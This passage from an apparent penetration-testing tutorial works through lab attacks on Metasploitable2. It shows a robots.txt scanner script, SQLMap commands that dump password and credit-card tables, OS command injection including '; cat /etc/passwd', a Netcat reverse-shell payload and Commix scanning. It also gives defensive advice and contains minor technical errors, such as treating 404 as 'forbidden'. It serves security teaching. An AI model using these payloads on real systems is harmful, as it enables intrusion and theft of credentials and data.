Now, just because these two pages are listed as disallowed doesn’t mean that the general public can’t access them. All it means is that the search engine bots aren’t supposed to scan them. Anyone who finds this particular robots.txt file can try to access these web pages by typing either https://www.hackthissite.org/missions/ or https://www.hackthissite.org/killing/all/humans/ into the web browser. In this case, as we’ll see in a bit, the missions/ page is accessible, but the killing/all/humans page isn’t. There’s no sensitive information on the missions/ page, so it doesn’t hurt anything for it to be accessible.

But, there may be times when it does hurt for a disallowed page to be accessible. For example, let’s say that your client is running a site on the Apache web server, and is using the Apache mod_status module to log the status of the server. This module can log, among other things, the names and passwords of the site’s users. Now, let’s say that your client has placed a disallow directive in the robots.txt file to prevent search engine bots from accessing the server status page. The directive would look like this:

Disallow: /?server-status

That seems like a good idea, right? Well, no, it’s actually a very bad idea. This allows everyone who looks at the robots.txt file to know that a page with very sensitive information is on the server. If the server is configured incorrectly, attackers might be able to view this server status page just by appending /?server-status at the end of the URL in a web browser.

As part of a penetration test, you’ll want to test each Disallow: page that’s listed in the robots.txt file to see if the page is accessible. And, if a page is accessible, you’ll want to see if it contains any sensitive information that can help attackers compromise the server. That won’t be hard with our present example, since there are only two Disallow: items. However, some sites have very large robots.txt files with lots of Disallow: items. For those, you’ll need a way to automate things. So, let’s create a shell script that will do just that.

This robots_scan.sh script will automatically download a site’s robots.txt file, and then test each Disallow: page to see if it’s accessible. It’s a fairly large script, so let’s break it down into more digestible chunks. Here’s the top part:

#!/bin/bash
targetfile="${1}"
if [[ ! -s "${targetfile}" ]]; then
echo "No file specified. Please specify a file."
exit 1
fi
if [[ -f robots.txt ]]; then
rm robots.txt
fi
if [[ -f tmpfile.txt ]]; then
rm tmpfile.txt
fi

The top portion of the script works the same as the top portion of the dir_index_scan.sh script that you just saw. It checks to see if you entered the name of a target list file, then warns you and exits if you haven’t. It also checks to see if you already have any robots.txt or tmpfile.txt files in your directory, and deletes them if you do. (If either one is present when you run the script, the script will access them and present you with false information.) Next, we have:

scantargets=( $(cat "${targetfile}") )
output_dir="robots_files"

Here, we’re creating the scantargets variable array, with each line of the target list file as an array element. We then define the directory that will contain the scan results. Now, let’s look at the for loop that does the actual work.

for target in ${scantargets[*]}
do
echo "Testing "${target}" for robots files"
curl -s "${target}"/robots.txt -o robots.txt
if [[ -f robots.txt && $(grep 'Disallow: ' robots.txt) ]]; then
echo -e "\t Found robots file at ${target}"
mkdir -p "${output_dir}"/"${target}"
awk -F'Disallow: ' '{print $2}' robots.txt > tmpfile.txt
lines=( $(cat tmpfile.txt) )
for entry in ${lines[*]}
do
status="$(curl -s -o /dev/null -w "%{http_code}" "${target}"/"${entry}")"
echo "Status code for "${target}""${entry}" is : "$status"" >> "${output_dir}"/"${target}"/robots_results.txt
echo "Status code for "${target}""${entry}" is : "$status""
done
rm robots.txt
rm tmpfile.txt
else
echo "No robots.txt file found on the ${target} site."
fi
done

Here’s how it works:

  • Within the outer for loop, the curl command attempts to download the robots.txt file and save it to the host machine’s current directory with the -o robots.txt option. The if..then..else stanza then checks to see if a robots.txt file that contains Disallow: directives was downloaded. If a robots.txt file that doesn’t contain Disallow: directives was downloaded, the script will just report that there was no robots.txt file, which is fine for our purposes. The awk command sends the second field of each line of the robots.txt file, which contains the name of the disallowed page, to the tmpfile.txt file. We then add the contents of the tmpfile.txt file to the lines variable array. In the nested for loop, we take each element of the lines array and insert it into the curl command, which tests the status of each disallowed web page.
  • The -w "%{http_code}" option for curl causes the status code to display with the proper formatting. The echo commands send the scan results to the output directory and to the terminal screen.
  • Finally, we’ll clean up by deleting the robots.txt and tmpfile.txt files that we no longer need.

Next, let’s create the target list file, which I’ll call robots_targets.txt. Mine looks like this:

https://www.hackthissite.org
http://192.168.56.102/dvwa
http://192.168.56.102/mutillidae
http://192.168.56.102

There’s no robots.txt file in the top level of the Metasploitable2 website, but there’s one in each of the dvwa and mutillidae sites. Begin the scan, like this:

┌──(kali㉿kali)-[~]
└─$ ./robots_scan.sh robots_targets.txt

Here’s the status for the disallowed pages at Hackthissite:

Testing https://www.hackthissite.org for robots files
Found robots file at https://www.hackthissite.org
Status code for https://www.hackthissite.org/missions/ is : 200
Status code for https://www.hackthissite.org/killing/all/humans/ is : 404

The 200 status code means that normal access is allowed, while the 404 code for the killing/all/humans page means that access is forbidden. Of course, I already showed you at the beginning of this section what this robots.txt file looks like.

Next, we have the results for the dvwa app of the Metasploitable2 virtual machine, which look like this:

Testing http://192.168.56.102/dvwa for robots files
Found robots file at http://192.168.56.102/dvwa
Status code for http://192.168.56.102/dvwa/ is : 302

The 302 status code means that a page redirect was performed. To see why, let’s look at the robots.txt file:

User-agent: *
Disallow: /

The Disallow: / directive means that we don’t want anything from this DVWA site to be indexed by search engines. The curl command causes the / to redirect to the dvwa page, which explains the 302 code.

Things are a bit more interesting for the mutillidae app:

Testing http://192.168.56.102/mutillidae for robots files
Found robots file at http://192.168.56.102/mutillidae
Status code for http://192.168.56.102/mutillidae./passwords/ is : 200
Status code for http://192.168.56.102/mutillidae./config.inc is : 200
Status code for http://192.168.56.102/mutillidae./classes/ is : 200
Status code for http://192.168.56.102/mutillidae./javascript/ is : 200
Status code for http://192.168.56.102/mutillidae./owasp-esapi-php/ is : 200
Status code for http://192.168.56.102/mutillidae./documentation/ is : 200

As you see, all of the disallowed pages for the mutillidae app are accessible, and it’s obvious that at least some of them shouldn’t be. For example:

Figure 5.9 – This page was disallowed in the robots.txt file, but it is accessible.

Figure 5.9 – This page was disallowed in the robots.txt file, but it is accessible.

To see something that’s truly horrifying, click on the accounts.txt link. You’ll find a list of this site’s users and their passwords. You can also download this file, like so:

┌──(kali㉿kali)-[~]
└─$ wget http://192.168.56.102/mutillidae/passwords/accounts.txt

Now, you can view the file at your leisure:

┌──(kali㉿kali)-[~]
└─$ cat accounts.txt
'admin', 'adminpass', 'Monkey!!!
'adrian', 'somepassword', 'Zombie Films Rock!!!
'john', 'monkey', 'I like the smell of confunk
'ed', 'pentest', 'Commandline KungFu anyone?'

Finally, we have the results for the top-level Metasploitable2 site, which either has no robots.txt file, or has one that doesn’t contain any disallow directives.

Testing http://192.168.56.102 for robots files
No robots.txt file found on the http://192.168.56.102 site.

And of course, the script will create text files that contain the scan results in the robots_files/ directory, which was also created by the script.

In the examples that I’ve just shown you, you’ve seen that the robots.txt files contain information about the files and directories that are peculiar to these particular websites. In real life, there are certain directories and files that are common to many websites, and that are often listed in a robots.txt file. These directories and files include:

  • /admin/ or /wp-admin/: Expect to find admin panel files in these directories. You could expect to find these directories on sites that run a content management system, such as Joomla or WordPress.
  • /backup/ or /old/: These directories contain backup files, which could contain sensitive information.
  • /dev/ or /test/: These directories would contain files that are needed for website development. (Note that this /dev/ is not the /dev/ directory that’s part of the Linux filesystem.)
  • /config.ini or /db.sql: These are configuration files for the PHP interpreter and the database backend.

That about does it for the robots script. Let’s turn our attention to SQL injection attacks.

SQL injection attack automation with SQLMap

Section titled “SQL injection attack automation with SQLMap”

The Structured Query Language (SQL) is a programming language that’s universal to pretty much all modern database engines. It’s used on commercial big iron systems such as Oracle, db2, and Microsoft SQL, as well as on Free Open Source Software (FOSS) systems such as MySQL, MariaDB, and PostgreSQL. The web applications in the Metasploitable2 virtual machine, as well as legitimate web applications such as WordPress and Joomla, are all powered by some sort of a FOSS database engine. This works well, as long as there are no security bugs or configuration errors in either the web server software or the database engine software. These types of problems can expose your server to SQL injection attacks. An attacker who’s clever with SQL injection can perform lots of different malicious deeds, such as:

  • Spoofing user identities
  • Tampering with existing data
  • Accessing sensitive data in databases
  • Destroying data

This type of attack isn’t just for web applications, though. It can also succeed on database engines that aren’t part of a web application if the database engine is directly accessible on a network. As you can imagine, the Open Web Application Security Project (OWASP) ranks SQL injection as one of the most critical security vulnerabilities.

Originally, hackers would perform these attacks from a normal web browser. All they had to do was navigate to the website that they wanted to attack, and then either append some SQL code at the end of the URL, or input some SQL code in the website’s data entry form. Of course, this required quite a bit of trial-and-error experimentation, because different web applications would respond differently to particular bits of code. Once the attacker hit upon the right bit of code, he or she could execute the attack.

Space doesn’t permit me to present a detailed explanation of how SQL injection works. But if you want to learn more about it, I’ll post some reference links in the Further reading section at the end of the chapter.

Nowadays, browser-based SQL injection attacks don’t always work so well. Modern web browsers sanitize user input in the URL so that malicious SQL code gets blocked. Entering malicious SQL code in a web form might still work, but trying to guess the proper commands to exploit a vulnerability can be slow and inefficient. Also, some types of SQL injection vulnerabilities—known as blind SQL injection —won’t provide you with any feedback on the web form. So, it’s best to use an automated tool that will overcome all of these problems. This is where SQLMap comes in. Before I show it to you though, you’ll need to configure your Metasploitable2 virtual machine.

There are three things you’ll need to do to Metasploitable2 before you attempt doing an SQL injection attack:

  1. Correct a configuration error in the Mutillidae app
  2. Create or reset the DVWA database
  3. Set the DVWA to low security mode

Let’s get started with the first task.

Correcting a configuration error in the Mutillidae app

Section titled “Correcting a configuration error in the Mutillidae app”

For some strange reason, whoever created Metasploitable2 listed the wrong database in the configuration file for the Mutillidae web app. Here’s how to correct that.

  1. Go to your Metasploitable2 virtual machine and open the /var/www/mutillidae/config.inc file in your preferred text editor. Both vim and nano are available on the Metasploitable2 machine, and you can use either one.
  2. Find the line that says:
    $dbname = 'metasploit';
  3. Change it to:
    $dbname = 'owasp10';
  4. Save the file and exit the editor.

Cool. Let’s move on to the next step.

Creating or resetting the DVWA database and configure security

Section titled “Creating or resetting the DVWA database and configure security”

Each time you use the Metasploitable2 virtual machine, you’ll need to recreate the database for the DVWA app, in order to clear out any changes that you might have made during previous exercises. Here’s how:

  1. On your Kali virtual machine, open Firefox and navigate to the home page of your Metasploitable2 machine. Click on the DVWA link.

Figure 5.10 – The Metasploitable2 home page

Figure 5.10 – The Metasploitable2 home page

  1. Log into the DVWA app with the username admin and password as the password.

Figure 5.11 – Logging into DVWA

Figure 5.11 – Logging into DVWA

  1. On the left-hand side of the screen, click the Setup button. On the next screen, click the Create / Reset Database button:

Figure 5.12 – Click the Create / Reset Database button

Figure 5.12 – Click the Create / Reset Database button

  1. Now, you’ll need to enable the DVWA vulnerabilities. Begin by clicking the DVWA Security button on the left-hand side of the screen:

Figure 5.13 – Click the DVWA Security button

Figure 5.13 – Click the DVWA Security button

  1. On the next screen, change the Script Security level from high to low, and click the Submit button:

Figure 5.14 – Change the Script Security level to low

Figure 5.14 – Change the Script Security level to low

You’re now ready for the first SQL injection exercise.

The Hypertext Transfer Protocol (HTTP) uses several different request methods to communicate with a web server. For our present purposes, we’ll only need to cover two of them. First, we’ll cover the GET method, and how to use it to perform an SQL injection attack. In the next exercise, we’ll look at the POST method.

The short explanation of the GET method is that it retrieves data from a website.

I can’t go into the nitty-gritty details of all of the HTTP request methods and how they work. But you’ll find links for more information about them in the Further reading section.

Okay, I’m reading your mind, which I know is a bit creepy. So, I know that you’re wondering how we can know if a website is using a database for its back end. Well, in this case, there are two ways. First is the fact that pretty much every site these days does use some sort of database. Secondly, in our present case, we’ve seen the evidence of a database back end in our Nikto and dirb scans. For example, here’s what we saw before in the dirb scan:

---- Entering directory: http://192.168.56.102/phpMyAdmin/scripts/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it

The phpMyAdmin utility is a web-based app that’s used to administer MySQL and MariaDB databases. The fact that phpMyAdmin is installed indicates the presence of one of these types of databases.

So now that the preliminary explanation is out of the way, let’s jump into the procedure for hacking a database with SQLMap and the GET method. To make this work, you’ll need to induce the vulnerable app to create a session cookie, and then retrieve the identifier for that cookie. The simplest way to do that is to use a tool that’s built into most web browsers. In our case, we’ll use Firefox, since it’s the default browser on Kali Linux.

  1. While still on the DVWA page, open the Web Developer Tools by pressing the F12 function key. The Web Developer Tools box will open at the bottom of the DVWA page.
  2. On the left-hand side of the DVWA page, click the SQL Injection button. The next page is the page of the DVWA app that contains the actual vulnerability. You don’t yet know the names of any legitimate users for this portal, but that doesn’t matter. Your only goal here is just to enter something, in order to generate a session cookie. So, enter any username of your choice and then click the Submit button. You’ll remain on this page, since the username that you entered is invalid, but that’s okay. You’ve still generated the session cookie that you need, which you’ll see in step 5:

Figure 5.15 – Enter any username, and then click Submit

Figure 5.15 – Enter any username, and then click Submit

  1. Copy the URL from the Firefox URL bar. At the Kali terminal, paste the URL into an sqlmap command, with the URL surrounded by a pair of double quotes. Don’t hit the Enter key just yet, because you’ll still have more to paste in. Anyway, what you have so far should look something like this:
    ┌──(kali㉿kali)-[~]
    └─$ sqlmap -u "http://192.168.56.102/dvwa/vulnerabilities/sqli/?id=donnie&Submit=Submit#"
  2. In the Web Developer Tools box on Firefox, click the Network button in the top menu bar. In the box below, click on the first GET method entry, which should be the URL that you just pasted into the terminal.
  3. On the right-hand side of the Web Developer Tools box, click Headers. Scroll down in that box until you see PHPSESSID, followed by a number. This is the identifier for the session cookie that has been set in your web browser. You’ll also see that the cookie security is set to low, which will also become part of your sqlmap command.

Note that the Headers tab isn’t on the right-hand side of my Web Developer Tools box, due to having to resize the virtual machine and the browser in order to get a clear screenshot:

Figure 5.16 – Find the cookie session identifier

Figure 5.16 – Find the cookie session identifier

  1. In your Kali terminal, complete the sqlmap command by copying and pasting the PHPSESSID number into the command. Your complete command should look something like this:
    ┌──(kali㉿kali)-[~]
    └─$ sqlmap -u "http://192.168.56.102/dvwa/vulnerabilities/sqli/?id=donnie&Submit=Submit#" --cookie="security=low; PHPSESSID=3476fdc28b3a07c0668fd50057b902b2" --risk=3 --level=5

Now that the command is complete, hit the Enter key to execute it.

The --risk=3 option indicates that we’ll be performing the maximum number of available tests. The --level=5 option indicates that we want to send the maximum number of available payloads for each test. When this scan completes, you should see something like this:

sqlmap identified the following injection point(s) with a total of 238 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
Payload: id=donnie' OR NOT 4974=4974-- xPax&Submit=Submit
Type: error-based
Title: MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)
Payload: id=donnie' OR ROW(8869,3236)>(SELECT COUNT(*),CONCAT(0x717a626a71,(SELECT (ELT(8869=8869,1))),0x7176627871,FLOOR(RAND(0)*2))x FROM (SELECT 8304 UNION SELECT 4018 UNION SELECT 7822 UNION SELECT 5811)a GROUP BY x)-- FApO&Submit=Submit
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=donnie' AND (SELECT 9987 FROM (SELECT(SLEEP(5)))mPFb)-- AOoL&Submit=Submit
Type: UNION query
Title: Generic UNION query (NULL) - 2 columns
Payload: id=donnie' UNION ALL SELECT CONCAT(0x717a626a71,0x57625 3445741774a5441434e5244426647465159456b6d527851677a414f686a494c515644 4f4a45,0x7176627871),NULL-- -&Submit=Submit
---
[15:01:57] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, Apache 2.2.8
back-end DBMS: MySQL >= 4.1
[15:01:57] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.56.102'

This means that your sqlmap command has found vulnerabilities that you should be able to exploit.

  1. Next, attempt to enumerate the available databases. Run the same command that you just ran in the previous step, but add the --dbs option, like so:
    ┌──(kali㉿kali)-[~]
    └─$ sqlmap -u "http://192.168.56.102/dvwa/vulnerabilities/sqli/?id=donnie&Submit=Submit#" --cookie="security=low; PHPSESSID=3476fdc28b3a07c0668fd50057b902b2" --risk=3 --level=5 --dbs

This should show you the list of available databases:

[15:14:38] [INFO] fetching database names
[15:14:38] [WARNING] reflective value(s) found and filtering out
available databases [7]:
[*] dvwa
[*] information_schema
[*] metasploit
[*] mysql
[*] owasp10
[*] tikiwiki
[*] tikiwiki195

Since we’re working with the DVWA application, we’ll want to look at the dvwa database.

  1. Look at the tables of the dvwa database, like this:
    ┌──(kali㉿kali)-[~]
    └─$ sqlmap -u "http://192.168.56.102/dvwa/vulnerabilities/sqli/?id=donnie&Submit=Submit#" --cookie="security=low; PHPSESSID=3476fdc28b3a07c0668fd50057b902b2" --risk=3 --level=5 --tables -D dvwa

This should show you two tables, like so:

[15:22:00] [WARNING] reflective value(s) found and filtering out
Database: dvwa
[2 tables]
+-----------+
| guestbook |
| users |
+-----------+

The users table should contain the login credentials of the authorized users of this app. Of course, the passwords will be encrypted, but it’s a weak encryption that is easily cracked.

  1. Next, dump the contents of the users table to the terminal. When prompted, hit the Enter key to accept all defaults. Your command should look like this:
    ┌──(kali㉿kali)-[~]
    └─$ sqlmap -u "http://192.168.56.102/dvwa/vulnerabilities/sqli/?id=donnie&Submit=Submit#" --cookie="security=low; PHPSESSID=3476fdc28b3a07c0668fd50057b902b2" --risk=3 --level=5 --dump -D dvwa -T users

As you see here, sqlmap found and cracked four passwords via a dictionary-based attack:

[15:27:43] [INFO] starting dictionary-based cracking (md5_generic_passwd)
[15:27:43] [INFO] starting 4 processes
[15:27:45] [INFO] cracked password 'abc123' for hash 'e99a18c428cb38d5f260853678922e03'
[15:27:46] [INFO] cracked password 'charley' for hash '8d3533d75ae2c3966d7e0d4fcc69216b'
[15:27:48] [INFO] cracked password 'letmein' for hash '0d107d09f5bbe40cade3de5c71e9e9b7'
[15:27:50] [INFO] cracked password 'password' for hash '5f4dcc3b5aa765d61d8327deb882cf99'

There are two things here that you should note in the report to your client. First, these passwords were hashed with the MD5 algorithm, which is now considered very weak and obsolete. You should recommend using a stronger, post-quantum safe hashing method, such as SHA384 or SHA512. Secondly, the users all used common passwords that are listed in many password dictionaries. Both of these problems should be corrected.

Just below the list of cracked passwords, you should see the complete users table of the dvwa database:

Figure 5.17 – The users table of the dvwa database

Figure 5.17 – The users table of the dvwa database

As you see here, the weak password hash and the commonly-used passwords aren’t the only problems. There’s also the fact that the data tables themselves are in plain-text format. You should also recommend that the database developers use a post-quantum safe encryption algorithm, such as AES256, to encrypt the data.

Next, let’s try out the HTTP POST method.

This will be quicker and easier, because you don’t need to retrieve any cookie data before you begin. Instead of using the DVWA app this time, you’ll be using the Mutillidae app. This app causes the web browser to use the HTTP POST method to send login credentials to the app database. Here’s the procedure:

  1. In Firefox, close the Web Developer Tools box and then open it again, in order to begin with a clean slate. You’ll need it to inspect certain objects on the Mutillidae login page.
  2. In Firefox, go back to the home page of the Metasploitable2 app. That’s the page you see when you just enter the IP address of the virtual machine as the URL.
  3. Click on the Mutillidae link on the left-hand side of the screen. On the next page, click the Login/Register link in the Mutillidae menu bar.

Figure 5.18 – Click the Login/Register link

Figure 5.18 – Click the Login/Register link

  1. Right-click on the Login button that’s below the Name and Password entry boxes. On the pop-up menu, click on Inspect (Q).

Figure 5.19 – Right-click on the Login button

Figure 5.19 – Right-click on the Login button

  1. In the Web Developer Tools window, click on the Inspector button that’s in the top menu bar. Observe the characteristics of the Login button:

Figure 5.20 – Observe the characteristics of the Login button

Figure 5.20 – Observe the characteristics of the Login button

  1. Copy the URL for the Mutillidae login page from Firefox, and paste it into your sqlmap command. Then, add the --data= option, followed by any random username and password, the name and value of the Login button that you retrieved from the Inspector window, and finally the sqlmap scan options. Your final command should look something like this:
    ┌──(kali㉿kali)-[~]
    └─$ sqlmap -u "http://192.168.56.102/mutillidae/index.php?page=login.php" --data="username=user&password=pass&login-php-submit-button=Login" --level=5 –risk=3

You should see something like this in the output:

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
Payload: username=user' OR NOT 7641=7641-- sCVg&password=pass&login-php-submit-button=Login
Type: error-based
Title: MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)
Payload: username=user' OR ROW(5408,6711)>(SELECT COUNT(*),CONCAT(0x717a7a6a71,(SELECT (ELT(5408=5408,1))),0x7162786a71,FLOOR(RAND(0)*2))x FROM (SELECT 4251 UNION SELECT 6664 UNION SELECT 5968 UNION SELECT 2531)a GROUP BY x)-- bTSy&password=pass&login-php-submit-button=Login
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=user' AND (SELECT 7932 FROM (SELECT(SLEEP(5)))dtpO)-- krkC&password=pass&login-php-submit-button=Login
Type: UNION query
Title: Generic UNION query (NULL) - 5 columns
Payload: username=user' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x717a7a6a71,0x674e554c6f504e7551644c416c41574c5347506e 6446424b4d7150634e74444b4458686e77797a73,0x7162786a71),NULL-- -&password=pass&login-php-submit-button=Login
---
[14:54:55] [INFO] the back-end DBMS is MySQL
  1. Enumerate the available databases with the --dbs option:
    ┌──(kali㉿kali)-[~]
    └─$ sqlmap -u "http://192.168.56.102/mutillidae/index.php?page=login.php" --data="username=user&password=pass&login-php-submit-button=Login" --level=5 --risk=3 --dbs

You should see this list of databases:

available databases [7]:
[*] dvwa
[*] information_schema
[*] metasploit
[*] mysql
[*] owasp10
[*] tikiwiki
[*] tikiwiki195
  1. The owasp10 database is the one that interests us. View its tables, like so:
    ┌──(kali㉿kali)-[~]
    └─$ sqlmap -u "http://192.168.56.102/mutillidae/index.php?page=login.php" --data="username=user&password=pass&login-php-submit-button=Login" --level=5 --risk=3 --tables -D owasp10

You should see this list of tables:

Database: owasp10
[6 tables]
+----------------+
| accounts |
| blogs_table |
| captured_data |
| credit_cards |
| hitlog |
| pen_test_tools |
+----------------+
  1. Whoa, now! Do we really see a credit_cards table? Indeed we do, and we’re going to look at these credit card numbers right now, like this:
    ┌──(kali㉿kali)-[~]
    └─$ sqlmap -u "http://192.168.56.102/mutillidae/index.php?page=login.php" --data="username=user&password=pass&login-php-submit-button=Login" --level=5 --risk=3 --dump -D owasp10 -T credit_cards

Here’s what you should see:

Database: owasp10
Table: credit_cards
[5 entries]
+------+-----+------------------+------------+
| ccid | ccv | ccnumber | expiration |
+------+-----+------------------+------------+
| 1 | 745 | 4444111122223333 | 2012-03-01 |
| 2 | 722 | 7746536337776330 | 2015-04-01 |
| 3 | 461 | 8242325748474749 | 2016-03-01 |
| 4 | 230 | 7725653200487633 | 2017-06-01 |
| 5 | 627 | 1234567812345678 | 2018-11-01 |
+------+-----+------------------+------------+

And now, if you’ll excuse me, I’m going to go on a shopping spree. (Or, I would if the cards hadn’t already expired.) Seriously though, in real life these techniques have been used by malicious hackers to obtain a variety of sensitive data from poorly secured websites. Unfortunately, I can’t provide a detailed tutorial here about secure website design. That’s something that web developers and web server administrators need to learn on their own. What I can say is that the developers of this database should have encrypted it with a post-quantum safe algorithm, such as AES256. Setting up a database of sensitive data without encryption just invites trouble.

Okay, that’s the basic introduction to SQL injection. Let’s now take a quick look at injecting commands into an operating system.

Operating system command injection automation

Section titled “Operating system command injection automation”

In truth, there are lots of different types of command injection attacks. In fact, SQL injection, which we just looked at, is one of them. But, when most people talk about command injection, they generally mean the type of attack in which attackers inject and execute commands into a target server’s operating system shell.

If a web app doesn’t properly sanitize user input, it might be possible for a hacker to execute shell commands on the web server. Before we talk about automating the attack, let’s see how it works.

For this demo, we’ll once again use the DVWA app on the Metasploitable2 machine.

  1. Set up the DVWA app as you just did in the Create or reset the DVWA database and configure security procedure that’s in the SQL injection attack automation with SQLMap section.
  2. On the left-hand side of the DVWA app page, click the Command Execution button:

Figure 5.21 – The Command Execution page

Figure 5.21 – The Command Execution page

  1. Enter the IP address of your Kali virtual machine in the Ping for FREE box, and click submit. You should see the results of the ping operation.
  2. Next, enter ; cat /etc/passwd into the Ping for FREE box. This time, you should see the contents of the /etc/passwd file dump onto the screen.

Figure 5.22 – The results of a command injection attack

Figure 5.22 – The results of a command injection attack

So, why does this work? Well, it’s just that the;, |, and & operators allow multiple commands to be executed from the same command line. With our vulnerable DVWA app, you don’t even have to enter the first command. Just enter either ;, |, or &, followed by the shell command that you want to execute. One cause of this type of vulnerability is using eval functions in an insecure manner. If the app uses some sort of eval function to perform a user-defined action and the user input isn’t sanitized, then a user can also perform arbitrary commands that might be malicious.

To see how that looks, click the View Source button that’s on the lower right-hand side of the DVWA Command Execution page. This will show you the source code for the low-security option of the DVWA app.

Figure 5.23 – The source code for the low-security DVWA option

Figure 5.23 – The source code for the low-security DVWA option

Since the ping command works differently on Windows than it does on Linux, both cases are covered in the if..else stanza. In both cases, you see the shell_exec function that executes the ping command. Now, a lot of different programming languages, such as PHP, JavaScript, and even normal shell scripting, have some sort of built-in eval function that allows users to input commands when they execute the program. In all cases, eval allows users to enter arbitrary code if the input isn’t properly sanitized. In this case, sanitization would mean filtering out characters such as ; and & that would allow users to inject extra commands. As you see here, there is no sanitization code for DVWA when it’s set to low security. To see the code for the medium and high security DVWA setting, click the Compare button that’s at the bottom of the Command Execution Source window. View the source code for the high security mode that’s now at the top of the window. You’ll see that with the DVWA app set to high security mode, it will execute a different set of code that does contain input sanitization. Here’s what the relevant snippet of that code looks like:

// Split the IP into 4 octects
$octet = explode(".", $target);
// Check IF each octet is an integer
if ((is_numeric($octet[0])) && (is_numeric($octet[1])) && (is_numeric($octet[2])) && (is_numeric($octet[3])) && (sizeof($octet) == 4) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0].'.'.$octet[1].'.'.$octet[2].'.'.$octet[3];

Rather than go into a detailed explanation about what you see here, let’s just say that this code ensures that users can enter an IP address—and only an IP address—into the Ping for FREE box. If a user enters anything else, it will get blocked. Specifically stating what you want to be allowed through is the most effective, and most recommended, way of sanitizing user input. Another way to do it is to just block the characters that allow hackers to execute commands, as you see here in this snippet from the medium security code for the DVWA app:

// Remove any of the charactars in the array (blacklist).
$substitutions = array(
'&&' => '',
';' => '',

In this snippet, we’re blocking the && and ; characters. However, if this were a real-life app, we would say that whoever wrote this apparently didn’t realize that other characters, such as the | and || characters, can also allow attackers to execute arbitrary commands.

The lesson here is to, whenever possible, write code that will only allow the specific user input to get through to the app. Whenever you write code to just block what you don’t want to get through, you’ll likely end up forgetting something, and the app will still be left in an insecure state.

But wait, there’s more, and it’s even more exciting, as you’ll see in the next demo.

Getting a reverse shell from the web server

Section titled “Getting a reverse shell from the web server”

Opening a reverse shell means that you can execute any arbitrary command you want on the web server, as long as the user account that you’re logging into has the proper permissions. Here’s how that works:

  1. On the Kali machine, set up a Netcat listener that listens on port 1234, like so:
    ┌──(kali㉿kali)-[~]
    └─$ nc -nvlp 1234
    listening on [any] 1234 …
  2. On the DVWA Command Execution page, enter the ; nc 192.168.56.101 1234 -e /bin/bash command, substituting the IP address of your own Kali machine. Then, click the submit button:

Figure 5.24 – Create a reverse shell

Figure 5.24 – Create a reverse shell

  1. This -e /bin/bash option for Netcat causes the web server to open up a bash shell session, and then connect it to port 1234 of the Kali machine. You should now see this on the Kali terminal:
    ┌──(kali㉿kali)-[~]
    └─$ nc -nvlp 1234
    listening on [any] 1234 ...
    connect to [192.168.56.101] from (UNKNOWN) [192.168.56.102] 39920
  2. Execute a few non-root commands to see what happens:
    ┌──(kali㉿kali)-[~]
    └─$ nc -nvlp 1234
    listening on [any] 1234 ...
    connect to [192.168.56.101] from (UNKNOWN) [192.168.56.102] 39920
    id
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    pwd
    /var/www/dvwa/vulnerabilities/exec
    cat /etc/passwd
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/bin/sh
    bin:x:2:2:bin:/bin:/bin/sh
    sys:x:3:3:sys:/dev:/bin/sh
    sync:x:4:65534:sync:/bin:/bin/sync
    . . .
    . . .

Note the output of the id command. It shows that I’m logged into the reverse shell as the www-data user, which is the non-privileged system user account for the Apache web server daemon. Having Apache run under a non-privileged account prevents attackers from using that account to perform functions that require root privileges.

  1. When you’re done, hit ctrl+c to exit.

Now, let’s see what we can do to automate things a bit.

Automating scans for command injection vulnerabilities

Section titled “Automating scans for command injection vulnerabilities”

Okay, you’re now wondering why we need an automated scan tool for a problem that’s so easy to find and exploit. Well, the truth is that command injection vulnerabilities aren’t always easy to find. That’s partly because there are two general classes of command injection vulnerabilities, which are:

  • Results-based command injection: We’ve just seen this type in the previous demo. As you’ve just seen, it allows the attacker to see the output of the commands that he or she enters.
  • Blind command injection: As you might have already guessed, attackers won’t be able to see the outputs of their commands. So, they’ll need to find other methods to perform blind command injection attacks.

Even with results-based command injection, it’s still handy to have an automated scanning tool to find them. That’s because a website could have multiple command injection vulnerabilities, and you’ll need a way to find all of them. To do that, we’ll use a specialized command injection scanning tool.

Automating command injection scans with Commix

Section titled “Automating command injection scans with Commix”

One of the best command injection scanning tools we have is the Command Injection Exploiter, which is more commonly known as Commix. Let’s use it to scan the DVWA Command Injection app.

  1. On Firefox, open the Web Developer Tools, as you’ve done in the previous procedures.
  2. On the http://192.168.56.102/dvwa/vulnerabilities/exec/ page, enter the IP address of your Kali machine in the Ping for FREE box. This will induce the app to set a session cookie.
  3. In the Web Developer Tools box, click on the Console item in the top menu. In the right-hand box, expand the Post item at the top. Then, click the Headers menu item, and then expand the Request Headers item that’s under the Post item. Obtain the session cookie information, as you’ve done before:

Figure 5.25 – Obtain the session cookie information

Figure 5.25 – Obtain the session cookie information

  1. Click on the Request menu item to the right of the Headers item to obtain the data for the --data option of the commix command:

Figure 5.26 – Get the data for the —data option

Figure 5.26 – Get the data for the —data option

  1. Use the data that you obtained in steps 3 and 4 to construct your commix command, which should look something like this:
    ┌──(kali㉿kali)-[~]
    └─$ commix -u "http://192.168.56.102/dvwa/vulnerabilities/exec/" --data="ip=192.168.56.101&submit=submit" --cookie="security=low; PHPSESSID=19f62627e83597c9d1971526845bd37f"
  2. When prompted, hit the Enter key to accept the default values. The final prompt will ask if you want to open a pseudo-terminal shell. Hit the Enter key to open the shell. You should see something like this:
    . . .
    . . .
    [15:12:45] [info] POST parameter 'ip' appears to be injectable via (results-based) classic command injection technique.
    |_ 192.168.56.101;echo FYFNEQ$((7+83))$(echo FYFNEQ)FYFNEQ;
